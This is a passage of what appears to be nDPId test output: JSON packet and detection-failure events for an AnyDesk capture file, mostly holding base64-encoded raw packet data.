qCkiypCehnleg4EZiVGhxOzd1sB8EqZuS+N0ZvXUGcgO+UcROvUnf6DqiESVfIqUcTMNIO5tKjZ8sLnzjr4neym5VhJtPTRwiZYWYHEJbsgGgH064bzKb0QvSgUCCIIOTwsL2wr0Ehk2tQeuILA99Zg99gq\/lPtFF+E\/QbTa7s8UgsTEXb4J93tBygib8qNy9j7ZJ+AN5jOwxv4rTAd7Y9DTCS9xgJP\/iy0ywxbCgZ1vS0xk8NVyz8oH1PMU3ouTrCx+WZV0DnA4Sc7y8OOUrPIxjJwzhzsHrCzf\/bybiGiLNybo71\/EcGSa+PZhCau6AQyX120xZNJIQSKiRvCJJTHxzS5V2JP2OCHNTjqlV9hD4mMsLVc1IpykRV0culXjWOe2jGcTaHodfga8HVyUwNmQoEjQbvsuYU6Nq1mN2Lb6erMrNuPSCkBiABRUC6zuVEgbC7R0TXikdFaCAeiwPwRsDkzTR0hOC0nghNqJeuwHBLuyfHISe2CcDHzHZxxdWTquzlUS5Cum8reARKp\/WB3mPkWiJNZiNBUXpbIa+UMTjFFf7YZfhtdj29HmP3pUugo5XidHyfmt1Fbx7TTZ+dPRCncTd5OQFPKITKwKfCe1ccxv1Wj9Kj63QvGawGCKWqZTNdxEakMHN06bRSoi9HyQ0ontyRcg7Q29bH3ZpKTgrapbFGF2DpDIieDWo+FGBj1sBuWIRlj84tXuS28Hr+wWwjJjeZFjY8wZekhK9S23rymvkkdkoOnk0YSfTXGuxKXw\/oiUQHiCJ+Cxja9Bt5fF74BowJoRCCJBD+vwlsbDl1TVgnJO7WylSW91mk2mZaRzhn3tWfFtz926yAI73lOVyZP4hJKiXsGZu+maLbuUCeMPDAWwUCMU8YAjWh6QHpm42TpZVd7p\/PSTMSHT5Xf8NBeYt9wQ5r5tTRzUIzXy2YL25Ig\/dcLcRWfB5E+S2LB5DnFb3Io7KuKb5H81LVPTFZit7g66aU9oN42bN4I3WnF26wUcw8h8jKJ0+AGvz7ke9cu1n\/d8mSTgzSl+Z2tu9KGmI0Z7K\/7q27oeK0JK+3S9IBv178yPo1N9yNR26YF\/EbYBRVvQ2tPoeNBVIgR+c9HTz8OntSR9rHhJgwIeC2mhPuNgJVEZs9O9vq9OHBpWaqYaDmUzohGRTyU2Sl8vJHVsUnvuPUhBUh+BDRTTTmIebCKDSOKsq9iAiA7LhFjTiJdPUJhon5BhQV8Hb3apOoJZT7FHqt7uEbiNmqQLx6WukYdW3lGV\/NfedcYJMgcHPDxtY1zi80bVHhJ7vGl9dWhc5rb\/X8+xu6JMFzhPy72PwdxAQOYDuxGF+7hrfqtjic0vbxFPQrGzfRMrtteSyE8XR+4C+Xk8iAMoUirhxBZcN\/GJIPfxV0QRzo+\/HRB+eBN9U3ogVc0CgSAlwQmHJEWwE4xhOYWFwfQAWLLOzXe83DW4ZU38e5IGVLQsNkaV5C7nU8hR4Gd9HVWqGMgLVHhpRHnHD8GGMH\/AMINqFX8JLOIMYiCv2ShaabwrFpYxn5lGNvS067p6Sb8u6Az\/9A3nyiHTHc7FCr2q0amcGuBxDVapjv1a+rBG7pijcHUyb8vG4iwSbN4qdcexMu4aZfAVlGAfct+wOTLwzmSCbJUL5A2XxPaRrNYohe1HhPnh2puvkcg8Uv9r2zRUs5bxCDhSa6uASN2rUEInC83tlIjFOaJ02Ldmgh1lG0XLdG0qv3D0pWTegdtuy3w8+6+b7Sbc\/ND7DEsBqKYTiWh21isONZOTdT4O4KnRJl\/l4LmX0fQR9vvoxotp\/CW6bnOrVnL5oU3OgVq\/g1SungzfHFBeYMVYO8gxtGGgJEInROfwNEFkd7UXHHzmt7VaJvfSzZkg5JbbH6hJvzou7oRwqmPB+398wbN18XVipJbe7PIbqR4vfsHklN9lEZCnlF5ch5ypKjYbLTA\/N6MpOF+uZBKSolvISrd0i0egsWn7IsoR75tOsDzLWjsliTYlZZhaCnBxanTjZtCd\/yiZmqxsf7zQv61qx3an3Q2IqurYpcIypyfg2cUF8S+ts4xPLJv0o+U1I2WgJajCK0mUzTaoGkzBFlKyMGB9lmYFEZibQtGXqa2mjaWGcoZzHmA4bl0BJDC4k0bUXER\/JehkllZGwOiNg48L0i8stze1t+cI1ng8b+Pimg3QZUjQBcEYIGbBDY+bKBnElaOSF\/YaqHY1qz3w1cFYEilEEWW3z8KJcriQbIoLfQZuhsviHzPq5dF2+gmR4rCZ7VsV9ng6QE2WywC9vwJVGz2RkCrOX7xzknv+hpxUt6xfN5bSUchdPuteSxoBZJrLyHuALBqfv3Eg2UySn5lCVouaS7qB6MshWz7stS5ty\/bbNPzz70syg\/dJNbPxikvnWmd3djDEQ+7hoL9OqdA2ue4ccclCILwMSHLp+nEOz1KfhJaHGn8FumVbbK9gBtOD7VcYLIai\/49vzSEHBgVLHPJuivPjEwwuQvam4UVDucP72668dqQeythYHqtTfcASfpB5YuO0KXKkBIzV1D91UysUm8gNFMRGhpa286xCSXyRgIYalLdLKp1W\/VbM1lasZ\/V5xGEdmj7HU0STB9\/\/0OI2XlI8avIbG93u65FXKjdB10S7aKaaGLGbt2ndZSxG3AR4HsyiDu+oHZlgHrmY1sgEtT73OKK5HxWx0R02rWICSazb6kLhHaTD7qtr1DJb1K9\/rDVmpHSQHVBWL2qj\/25Q3P7Ulf82Cm1YtDNaeutKg+HakCQZwuY8xVdsaHdUbUuQBYDRBPy\/cVxmb8dqZ5\/e8PE96vx\/jq20XCLhwk35rkuMkUoCepT17ueCihOcmYFXrZNs8D\/RKzX7wdusOvZMSOMPIqJEM7CD5yu22HSdZZMRiqEaSfFJ4YPIQ0aksXXJEgMcaU8qVDDx39cx1EoIy9kmwFb\/Nchi6JHAs08kv4BV8JY\/EfQf9aqsJiB8fN6nNthcg8OBZABydlvZ3+I2Kg3o5LwpqZXwIOiHCWljyRQpAC9LUFn7iV9\/lr5R610X66KJO3MWMD\/WY7hl\/2fj1ZZ8HKQPatNUE+fDbZMh+OXWreb4Osw42tW+\/004pL7nmwZKoBROHTXJG+\/GJhftQxyVIGgpK6amuzrv39v5ZOpRFLSzYZ1278dPh7rva2s4ZuGuoNG+URXaXCltt8RMe9NwSNe2FRtY4p0gnz4FvZwvU+ernaVGEENNtyoVGDiTwBicqbOSSmjE064Pg69qAzMmAG9Zb9mWVfIHvP0yEgx2dIU+4Mp9CHFBeNU7loXL6vIKhxEdaDU3ZEF87r+fUNIiYifpO78BwmGwjnXnPa20Fd+yhzwb9m8lLQrkuDj9qeAJYro6m9IC32XHXtTnYnY\/045+Gg5cPtD95HSKc2flGBulYEs4FvdhLiR\/QG9glCOcH5dPzDIsxx4aBdfFIqLRgHmDf9lJygnTn+0I28owqpiUp9z\/jsEAbuxwEP\/RMA\/gyZfSFvyKYTnbCVKHcD7fClb3R11hzT7e5iWX6CtYAPIWufwYvGGvpjIppSK1qkHxIuoN3qLXMrOWWRcQAtxPR+aSgfjhvr\/ShYJPHIurYnV0VSgQERkCeMGBpA++EnNLjt0nFcvvw2AfmIptxFNrJvTdQbd\/WnYRKVayy3wjsE6g9aCI4KFi3O6tjEyFP71YlFwc4w4BW84mgCQYx3GsAPC1HUBRtb2AXBXznaAN6isCLzYwylk6S+S+LmIgW491UrCdRuGyzwAW9VXR+eASL\/mo3hn80ZQ9jmQGiybEjDuLfJi4BbSLIheIycMsjDK9SKiNbMOdDQe1efeDivicm0ps90QfS9oyhzuTFv7dQF7Hp9KUhgNvaztTCVocOeO+Z8sA8ni9T76idqfLUFHnhkqR7MhFoKmv6lQ0N2etuCcjv9PQkCrVoVEtN7L0LgaAt1kWVg3l8v31lTKmTFyqbXX5bdFDe1tmrhcqvnXJEa\/NZ32t7fPij\/epDDJ02pxsSY2vJM1sIybx4uO8CJfeLN5bOvedfbwRQgrZNjNS2zmIlF6Dy\/zPvTVi8o5Nl1h+0QS1Ce4d6gfbX+yFRxCllHXrWa6om3sNHCrAcL9A0Yh16dp7RnsAMSuzyRsFcUuFc15s\/5Z8JlclFi8eY18OThgcls2YKdASR84nbnrIbO4OUMSbjzNn9Vn8rLBIf\/9pv0MPGKEwS2eVxl\/kZ6AChVT\/GN1xYglUMaRXYKJvUngaJkcXVZenQTGGhQY09NwbF9tr7h7WeHyppLw+PFmu9+zk4tkrqFmlct4t9ZilSDL8QF8osKEwV6Yd5v9sakQe6QeaxdD+p2rPzI37TOICpsPLfPorEduTN5bjUqgb08gCjCO0jYxQXxJufZQql0EaJqKmRyoXDy0POHM22qVA7jf1bvw+cKRlTjteoRcRqyZNGImz\/\/MjUFHOMJxSgCJHKIuKo+K1e4gDfLH07MLooJvFv6VQwlfpRiv8ByIhPPqPENWRFGRURyhL\/ORhxDZKQchYnefF7qFFawzm+VmZVpwaaIhl3FTX9rZJnf5aWtjtc\/vmla1ILol7nj\/RBICooCF5CFiZCuYcBG\/0W15qJNd0zsglDGqQNFsk2do3CJqeTlOUSBeK\/VpgB6TfR2reSjwZHE2syvkc3HnCXdGKnpg"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1232,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +07821{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1237,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":921273,"pkt_caplen":5557,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5557,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfTlAAIAGAADAqAG7wKgBstOUG56PJELZWcQuolAYIBSExAAAFwMDFXpZ4hNO+msV10gN6kaKBDgKylDB1dd14gWStYk7mkGP9tD+ZS\/8DidsMcPlCH2YwFmvwBAAtIIP8+6XLJGBJlpqnTjPdARZ7tfqmyw9x46BIgtO9BRC7CQl90u1lwlPXnQO6r6L06HoSbRb3I0HM8xvXU5REoVW9XX3010GqCh4eeR6KgxGBDGN5h9p9oAa+vBihDTD6KYslKnyjrTvKNkVKuTFscQFrZIywCGTpUKrgabX8azxHyj3XoRuAg58Y5DKCm3rifggqZN5QLE7wecar5ZsblP1vb\/hmKJRW7o9WC4DL5LZdC4qhadLGn8kcCykfj9VkCwm+707UHzlaqkqPgo8j9lsbDAyCzkbvk1T2jHRUzzp\/yifE87cwBuoB4L+4pTdd\/UkImVT0fxpg8Mqg\/U6KE1Y2wZml\/9SdnSGsXDMTBnBUZUr0lNc7pmGFdVqrZBxFdSk2FEb3JcHLfDkXXoiBhxjfTAashjUA0lqN0tWNmEjLvdoGvl9Wn3jI5OL8f\/yq1zEKq1c9k7WFyHapSHps8SkUz2uADkUaaAG3LX2NcQWOmhXKQLMiD3XJTbcIlK8CWCSdPrSbnayMGSP2AQE23fCsLVqiqp4y2qtezJ3yaaelruzukV7r28lzDRJ6E\/VeRx6iqx3RPCHHDtrYy+zhZJq0Q7H5DRBLU7\/O096E\/zrOzA8vQVw24RHMvUvtupKI8Sz\/4KCO0W13YrXoiXpRjw7BqdrIPCGkICJDcZ0c+B+TmI\/Mki67HVkKORMvCwn977rRFOl39RG9UH1sNplsRo42YXnQ61DAsFX+EF1Imn9BBZaipSSPXGVIDMJ0udxZhDouZp720c5zfCTJ9Tvkv3VrkZ0Rle3b4Z2GbgRGtiYpExn7IFMvLkN2J7HwZvS7cf6xULqKQX30EO4NEQyfV6KNEMrm1eFrxzr0fdYZANyfsLagfXbE9sf+1AQog0HSbiMJpRu7KL9Nme06iDWuveykGtKR3Gek\/tVuNhPLpeSQCVY8q1tNI5DrautcKuu2WRUqc7dUWSN\/dYZ3pghrrn7lgMAkq4ANkMvzLpIRHvlTnGBFPy2YaT\/KJ0AIonL5M0nHMo3krg6HCwZHYoPUQeEtilBoqHGEMWjMdg+2K6fidDIXVCv3eq0ks5x5t+Tzq73rh8S6P+99zPXPlndWjWozh+8\/1KurV3jxNgSxaPor4Oa7TSq73JApAVDXhHONGVOqwoPTQftbPkwmiCBrCywjRMPWOr3lys15Bwud1yDV7m7zfqy2VTQF3USe4jKqgHch+zr22divtNJXukdfoKFYHBYKHHBzgR6u4HXGWJD2AabpkLiEFnM0GCG7qC+5NF\/aGoGt+MMjxfkOzCDjaG3zDoB1c6CnvJ3d83VuYfetc3Gy52FxtgDUIuZWOgWQpmzgSVSKQSrvoVn1h413gYB75B\/CP81oOTmiV0IehkaDtq+zul5\/tCAeuK0hgSWGchlmZ2vz9lsmzngY8ALYjrCrXhMdjv0CW1KyFxFNSEPPmWPvBBrj\/+0bWtAI1JKyNFUGBeV7rRTE0WJV1uljVbzcsCulfdT3\/Zq3qoM1LfbRvHOPGMhqeQDYsOGyLsxJ7BAUOrl2q4rQae96GOyhUOe2IPW8o6J1qVD99fIXKMX+cBC43LZNyj3gZsg3oG25hekksctRKX6cyr1ZlURz6ASqldGuFmUyP7gqvhR3vhYa3YdgmC5\/eoNsclTu+OwlWRSTkFCRNTbHXcLC+xJGH6oOUPqUDFm8saOrZIN6cNMophgXeHJkZ89PhdVipFRYnr5Dwh9xZv+5SLsYVfKDNQ0P7OXsMVW9dm2p7UdeaAqoIY1inI4MfWEMIBIJd5uXfkBS4tgtmxKFwWF8cSYnwXxoV0ItKqLp7PvshCDOFT3Gncj3XTM031S8KR0ka1WgZfPzupll2BFOKdZV4Mg1OPadIfRzcpjLdb\/\/Eks9rm5uLq+En+Sp9Q9ujEhugp+nSYm7sElDQmo1vAoOyYpltJk5ArIQbMHMvbWZ4IcZyoPOMee7pXuJrbA++8H8bbk0EKgORasMN52AKMaSuhZ8c3DFKJzZs4PObWZNVrLaLY6Mlic9parvjH+kk9pBif2szam0KZ6rpiGtaFQ74C75MTNRe05Lz+TkDJ5cSOg1YMzHhcWYjF\/IKVZhieDwrlTN1dzTEsulduT4MDWX7s6neVj4USD22O\/Ke5LszupAAxPJenYk0Y+x0jB7lUyGtY4ycTZrhIFd5OxF4k\/rxI5P5jW2870Mmy5pbtCbcU9QWiLRvMnsRpuWy8z2ptiwM8+vz8tBRAJusNOPJo1Q8Fg28NGkzBcfSW2eFHVoSV21ekW4bJ5nv86jl1Owl1wLRo8N4bghAGBBe8Y1vpsqB45oJe9zKAgKlP5ciUEUJdUjC9ujM\/qS\/V7h4UzevK8nBDOtU2bjV0jbFSWFyDgQOBfTURdxKSQ\/UzljITemWtV2lt1qOla9QGZ8LjigKarZs1HPwTSkV0xfkGLumba\/F6ZyGtiENgz6kYMxz+g7HGAEySbVxBfkNg1vmf5OkKVz37wFuDH7M7+aaV9xkuh0Tk+h6geF2ENtnhnLewvRfbYRLX0S6k\/9VGq49TFodJFmq9THpAk8ynuJdVzexXAwq8LBJvgjTPTb\/jDEC0kEOj2oV7Fhj5jBPDG5KlU7nsglf\/DSvtE5y4X8pf50\/cDVhAGYP+H9LDWipmjQGMyAgf\/jrvSV44K\/WAHmQ7XHF8djAo0ZOIIXYcOA5x4wIgMcmZNUsyyQKozSVbY\/urcOCDjWMTmHlJWDX1u3DYvfcvWbJANqCw2BoiFhq2XYSvI6j5i31t01PNDpEaDy8UozejAGJ05XxT4ilcG6ji3O8U84JDtuCP5wQfOm0j7aHRG4327FN5DaI7K6u65GBuff528DAN6BxlORZJIUfdkLk1R7rMT6YI5wK7j8w7\/Sh7suldWmYukBUuVRMMj3ZcKINbc9Nu5cxzGTjVFHCFudYyKdryWir5+6FN3lXM89LwlPTRnu7K1FlBTFHSyAMWcmLSancttZBw+vNcKyKiSWmIe\/rcJihzgYRxBFCU3DlzFyJMOS61HZia0vTH41juv4XQsrfJ9g2nzRe7aX0s658XbBw72afDs5H6l3w1vNLhZARuPmPdT3QLDw1GWUHLh+CdaMldKEZFAhpA7+EmXPRPYFVJY3xb\/TyJz0DQnJTmKKkSb5s8HfjIbQ25DobdOUexsWMvAW2qhby4xOaHvwJCU7xuPZmttf2DOMd\/s8d5JF2jKHzwUFzaKLVEXx2PQ9ONl8kFQH1SySDBHxn47ZMroS5CK0wQIlms+ALqn\/uZTO2N+qCzlkhyZQFMR2QXVt43e94txZdbYlg4BKK1ezHt\/o6pnovCQNrNXOCvUvJKt\/T2UXf77QURHfgITx8nFqjTFJou3IrZI0CoKKQ93g9jWw0Xt8cClwb9yMJ63ZdleCe2Zh1MYLEmh9\/hoYPNBR9GjgBaySLW2B2xzSgCqnPMJziiMCBfYrfkbhDdr4jxNpfJmO4n3jIdqDah7ts8n8nunifYM5bXio6ot3tonDQTRVoTVcP35aMtfJKiRFEwroge+kycr68F0lmj1V\/jFLYF1KhzPlCfR7VtAthvyx18GSjMu9GW70NcUm6eTs3pk0\/66E0v6Zsk\/0le5tKnbFVcoF2DgBvgdxSF+1aqHIgmHUOBE4PTAIPL9waOgeAOYdQTa+P5MdurdCO41YN8qlLuIQva1Rl98+89ST3AsofKLYqCxZjaoYqXdS5xDJAGv6GvQE3gTGuJjk2lpnrT+F99O6sO3i2vozA3ZrTe8HbeJi+577bw9G6niwqsr5bZqP1s\/Z+ZVNj1ubWvp46RAIxwoZsHhGlY7ZI0ujl0rK84mQ2kj2XNp0npORwEZWT3Abz9czvtrjoTpGUzpTYMuwpdHBz378hiy54zXxxhJJ5SWReyIqTteGbnJVvjNF5s1wCLb\/UuQlwcjeh6lTcauKILF\/\/RVX15ivf16gRHA9AOJgkdcL4eKSMCxTMWbADeWGI8LIwUyPCZ+KXU4w+yUactBTKWHQO\/sTuv4oAOv9+uskHgMmYXIKSC4wu0Jg5pxs53hi4rRv3odslOXhfsXe2Gp6vnNa14bMTeZcR\/7miKi4qTxZ5kTdBYKvTMnMqPfusgxRDyy1yDM6WpVoTlHY0zceCgbmfQhsl6R4WXOZQRbZJsnB9CIJzu1kqsAahp9HWkrxibDUXCwdRtJTqdsIfy5rMUU4J+vszQ9XMoOXaO6s9YsszvXg08GeNPKa\/21BOcelPRFlWFMVrLDpgaIGLuFshbpF0xMUUj9ljq0A+AU4hpod9zXv1etM\/S1exBlcZDNQyw3hYqMtg5E08r\/Tkx1h1InV54EgtW1AMphYjbHUQGY810LoaIuvitrZfnMb1EFEV477P9ZFuNMkxrK99ZGfXk0SM8a1BWOMrzfRPb9CwJO0L6H35d1tFYri7nJMUXlfhZNP4\/LipVM8Diz5laVjzje23A9UJdoF2\/wMKu9Yq02q\/Ari3aRhN4AveUT0aqRpQMVA\/4XZmeDvuceRPd6NaSgWXOOv3ZkLIvvafm\/Ki74mfQB9mgLRVLUnT73e3VCVXWgHj09XnlhJHjo8Rlpoq0EQ2lQeKTZYIvKhXkUAaQzLaUo\/GFZH2BcFikAVacob9BCI\/BP7GSmlnLsUUXCKTODuYxy9ZdXi5X83l+XhAJAZij0W86HCftJ+h\/MSiKaiCPHbuEpAH5odRmhgLTMq2zfzXfmhn95oEo1cPIAbd3gDWME3SNt1iVHMi298T2bKemzLAZvWms\/hcFdniqxdZ5TujNcvEhwUHpGw2OxTjQHsHZDisJ5+EPs5Gl\/GZqieneSWsX0Sh08189z0MXezRbHyoKqQIyHHVx1is\/3N92dUqypJUhRXS9mP2omTgkpspAOHXA7yMO6FBW2vpDDm6s0TpnhdPXOHGPKM4CBDE1vg0yyPRTiz+kyapyDVAOK5NhcJMNsj2G9z1GfMBfoKaTvVwgjINWqhrbE8CwsT+pAgW17D0Yed4TmbI0L7MK3RchO7rtfEnLP3pe74RikXtAS36accGRA7L662B3GhTwvkBmHNb0vQ6UpeuQQljy14ZM3wgNk\/gh5lqTXt+f\/wcZZIlG1dJtyajhe5f7V\/qK1Snsf4dcO8QXiHH+wUqwjm2eQZPkQLq8uOzMi0lRFqI3u7xc4T0VRXyFJDIhFZM6mWl8zWgL217TeLmGc5EdMxIeDh1ZysB0C4m3+ckv1ylDhrwAqx\/7tKMERkv+mS9VnYuRKfKuMUdK4WVUA9RSpm4i06YkmG4iTx67WSfdDFNbDiwln8sCXuWHc1+CSjYFyVbymlzlgGShun+4xO6\/7FbzssItayTZ981UOdl1\/T0bIKZW8ciSv7uPM5oNURhhoCVX+n8A2AYtoX6cg7SkVx9SWvZa\/lui2rz\/+LzUfSaA7rCqBg4qAZPGEdPWhvD2T1cN79riq6\/pfxnS3OGrCaBmDD7Jze+KAUx68Pls8rEDO2Bkl3c5PixwZwx0OUweUStHSmUFy\/ZBYuJbHHAMNkGaLt2eqeQ7fZRrrwi\/oeYxWtBqtKKtqIunuy16ZGNY4Zhvb02fxFViSx7z8UbELu\/Ax338JRLmAZMr\/\/AyS+O1KW3WE+brPwrmGrc2kJV6M+mZXQlgmVed2+tYKyoC8sXfolUGJE1cQ+IIFVj0rU3Cf1eZ4bpgEyU4XMV5jI6Quh9ZPcdVWToGMfzcgvxf\/K43e98+IU+AOEw1jLW3vz3x\/68MKLkipGeABJZFKpr\/RNC\/7OuZFVjckhe9F14+RLRBPk34TBgDk0wldVMHDdrShCNPgYw0lBRHE73GJ5Bnz6iAGDFyXFRaUh0uye3yhT9R2sSXESoh4nJS3MlHIMSmgRcI8SjCKBDQCri30FWltwATx4I+BIjjcU\/gnSRaTVnpDr6u9ubroE1YDjTqzCpZgA7Qh\/K3zDcyIapax7q\/jhhc6cNpGfr17yQqOH14bzilXCt1pi2PWCNLoAKyGYPcd7FlrS8boiLDXgKjLDvEy9Xa7NsOiTo9nMA+UigOxe6hycWbEuWRwVMUimbB15KbYgAo+rfBCxMSKzBmoqAaN05XoJXK088UZE8Vxj1nKhdwi2xCGtIimyXbG4cidQV3pQal69XPJzijsHFwzR\/p50EeCyVpMvBW9Jhvf7Lb26ZhM+QHuGr7wHsuerug6HGV1gmUHuXSrdbIpBoc8zir8iWa0twJ14yoPs5ZFR49bvd\/qJmX8rsGvvCn8wl1ONcWtVRrUSailZvioTGRu3QxGlVFZeTZNWNTaI29m+LLeqMaLFeIUVB89xyYjKWHVwjp5+Xiyn1yXElO9UgyKHiqOnFXkHuXy8sUiYb+C1HN8ulJUH4z4vnNTEUUQS95hs4dWs46q1W2BNvXyEfvd8s0ASBcWddMBLs5vDdxVSuM7tr9KSxcVWJ1IV1gL6JGlhQ9ROBonVpeASc2kq9y6X4kZV99WEEGEOo1wGBNfLazmlBW0kusrmBSJvc5agAmxAkjr8mMyLKRQ2s3stjI+fIVqw5ZAMwUkbyRfP14Vx\/ZfoqRgclz9pcTk2uV9iJyyBWHDwrTRJ7kxOkdJvSLvquqivjcxUVRnVJK65xdp4A7VHNitmHbAZ0SbsbkRTBtotbw0Ik52C2EJoC5r2qEnMGA20ZtQilUHN6L+btB32YMs3vrwwnsscAqu9dgGrzoYRnzhnYRDkG6KpVVlbwX+kLC\/nIKQtWJ4USGHHZNZdcEC+mN35oSC3KgTFErwqt4\/wsqLCQY+MyfaPKb90Rm84H1EOrOL9d+WkPTR68\/W+09CIz9C\/\/OK86IVihdonP6NFoyiKwFHQ3W+2cUdoS3CoR+1drxonRsVoAU6axo+dVy+TlvAQ2CqTQr1VnLBCDwOoQ2BWH6nNDT\/fjdt81ow2aeb3RK1BmoGV+ms5PlJ9PaqXOnnBe4TuB\/9D+XTo4D0imvIvbnl\/G6Td99SGwep9a1TwN9mQcZw0CO88RU\/Fvf5U54znAKwnTzfGhbMqe\/vy5zXvLFEfGATbvPsfiE8pcoaOI1m4LvgS8wj3nMblDBn6Rw2+32ppiIqAOQeJY1qMnZ5PMjpQuXchUuRQuEUZifDsPn+pAzrCTB35oNOmzHv4+QIolkL4NM65Bz1Ei+VLkCcTyaE+nbKMoJvTGdk9SpwencBQ6eG8DKSo2OsnrwRNwNVBSf\/N+Poiy7MzazWXOFUcG2AMI7O+ajwhMjKtVbHHfJAq5rsBLGDQqjeT6Ik5d0tav7E0Q=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1237,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5523} +07847{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1238,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":921311,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfT1AAIAGAADAqAG7wKgBstOUG56PJFhYWcQuolAYIBSExAAAFwMDFXdZ4hNO+msV2Cwctw3LcpR4pAvXOOo1wldgx0\/+8vKTMynakHwgR\/NZb34SQqMEc\/I7CP1hGLrduIrsNSRoAze9lbePUY3CF2D000YfarHeX0bQXAexhiHSs+x8XSPuohtw2bCTvmt9EdTt6v2uUM31Z0SZ3Lw25OsI8DsJWok68sdH7chNOybHauk7S+KTwnLcj6WhNDOvdsThkn7VxjBcvKG2KIcSmUHvM+j16ppRBSk+RCgi3IUkhnmXOqRJoKlk6UoUv\/inIC0SI+NFzi+DRiPNmlJ1rxprlT9uKhVm+\/kgd6cSW+ysfiR3AVy20BGIiq9OnR6MiuXAClzqQ0C05gaZGX9hK4IkYlMijP3HjpLNE6IuucpkIDGROij\/CmiOqpzhIJ0N047ggcaYJ3kYvl3YPpQZdeCXMNq1u+xnnsx9HD+0lmM4UUjG1BQk8BxeNTa\/Q5ib5FRI2DcmJzSEOTJisx4ni0dxtullvDzkOZXG6mMQze2OE55r5LOHytZ5hRmsDq18TzEyS+P5O3cnf+\/Fodc5LZMqircOmF7\/FjtW8m0h0Au7KDQwu5YjXYWQl+3rLiwyC9hGuSPtzaSxl7W2CUB84ivm+JAFmqdaFnd4+lj2xmIzodWkbRRfBLiJpBM\/eUa00pK0Ig7FYw+F5ai6obvVeGxaucBLZNkqKslijthF9uGQfU11DgsHlH1rV9Em1swudt1pMPjWi9uqGXoKNbZUtfFG+QFNHJxCB\/VjyvQ9zHZEoWB2A25OtqXg6XJd1B5TtaMMqOh26Fm1\/VvurordQTGflIFGFCEeAhOlV5tnfqUgIxoUSI\/yCEKHx3DqdNi0SnJ5qz7wEBja9HhcXnAV4qRnp0u6O8GTRmBfYw5HDD22SlxAJ3uo8CbRwG6W4IqDMBXuiQWpo0Ps2r1FZoEzTxk3plwjl+R8I\/KH3vOiszojE1NyUf78Wa7zCaNa3oQT3hzV7vyOhfqt5v04u\/gcBUBFtlStuJrB2pjWBNSHe6tZ7DaCeoYE2YuVYYkQvZZaCFohJjUU44eDp5ZpIQfNpCQAPbguxaHyWwCjFhj6JWvpjRKGcNicjTmE4bfk4LVMlsER4l0tw63eUK7U5QLA2qN5d8nspBxXstZoO9m5fQJ2rEsZUUti7n46n+mFvCR6\/XC1YY1gVORWKjL\/r2rZgm3F5wDofkeRvg4pSqzQWhSTwDZwAmeptPhpc8WaIr73AjC6As+Fo9r13trTpLWzhknw+BE2TnEjzqs8RUP2XsTlCi\/LrXWN23JxccbTKB4WjLINkMh91fCV954Pt4f5OunYaFBM71s2arp9LryEwBot\/rGxCzcHvhcFicgpeFdKUPMUuED\/KRsYv0CuC5cMramO8qfBa8nQ97QJdm\/9QfyzBn6SkohtkekGx92SoBa20mgu7\/aR6nZ5476mHzCX2PvUul4t0jveRXyTHy+wP86wQbm0n2da4\/dpGkarNVVlhC+s5GyiVPCVeqNgTG3lCYBm8j\/dDn8+ou6BlOyEvp464PYBs0ftBHAma3MuuoI2N6\/mWcij9UQdOBjP6Mbj4czpEuGRe4g02+a0OOn1iC12evaUA8JVvHGijmimOW0Dyr0G+0uGjxZfqAm2\/opzRkV5zSnCDDM3obkXR1PRdEhSOto7I\/BC2h992kHLL330M8Go8q7thkkxIdZWZ18A9LHs6YojyzmXSVo1CVdEu1jIukBbdvJNh+Ddgkq9XMUqsBNbOGsvIdnkkL8DUSJ2UnC2rEJh0PRkEB70uRGHgyEX24U59NkVoRlBjp+p\/ju5yRXivJGtYWig5FABA0mgCTe\/5Zbr1lksPAiltBhhJjcumL64r2kk3DlC2qvo9wRTcspntUSYMAhJQ8VPBUJ7w2StfjbV03q7viPl2yclo9BP43x3Fu256NV2atD276MIu1X686d\/wR+lLyL53ytjHpXRDMXjIatwvR\/avtOZG1im6iWma9OHDMZafc1Bn0+8j3htiCBIgOrkUr1KcRZa37qg+WR9jvlVjW\/dFq0UFoKtLQnzdhkuBih6UOXGfflPufVEH87yyt\/Vqr+iv+U5wj11ess0Rd2G6xSrgmSAK+BkUb\/\/3nZLCaI91ZnwgZmMt6GNcDnJ6\/By\/wdhDJxl8WwnL4K4eO1SPhdueiEr80rLOFD2Uf7mvoT\/gGdixg+LhJcATbd7XjxbV75dvjHcqbN+gnqMwmIaHm8fVlO1j3k7eKWown2QJehfNj5oAXXjsrn9TkfIYd5ZujwFE2ikO7LhI9g7Dwh1TSZUJseRV7kIsz1h72Pd+c9aB0L2LN0htE1qRW\/XperMFuLMExaSVdRGfRG1\/CkkFZKRDuYdpaJgV7XbFLRUarDa8p5CrpOFk4XFRXIL319iTZxUZvF7eO0vFzQXHN4KO7oZ6g7tawvzA\/wXDiHZBgOeSOMQ3cmDVVU+SMa\/Gic9moid1nTxcf6a47R9gdo+edtb\/+hIsmiZDigXQpj7AQg6vozW\/DBOV4pr5gCr5Ywqp68mDUKIlH0caxf5neo+OT01thQId77nMc3r0Mq77IsBJAaasXexOmgGsJLpbuqG9oD1uDLl2G6lZ+5ByT\/n5dOkOp36aX6fmGNlMIcN7OFKg1H\/Pr8f8Yml1diWxf9Gokm4cxdieLzuYCS2qljPuUFEVyrb9ZpgqsyKYtTW+jw7STPlGnbTJMvTQg3VIGeFQMWUFysNFWl7L\/vvZUoYWhOoDXNNb1aeon5MFT6nmhUDM76G22nspVujisroMoK6QYG4EztLNZ5lK6iv\/GZJ\/+OC\/gk3XJIBT8hEN+rEIMdNks1sLOBQHG1WfQ66CBJjy6IohJE6aRJQoqR3NHcn9TIqnc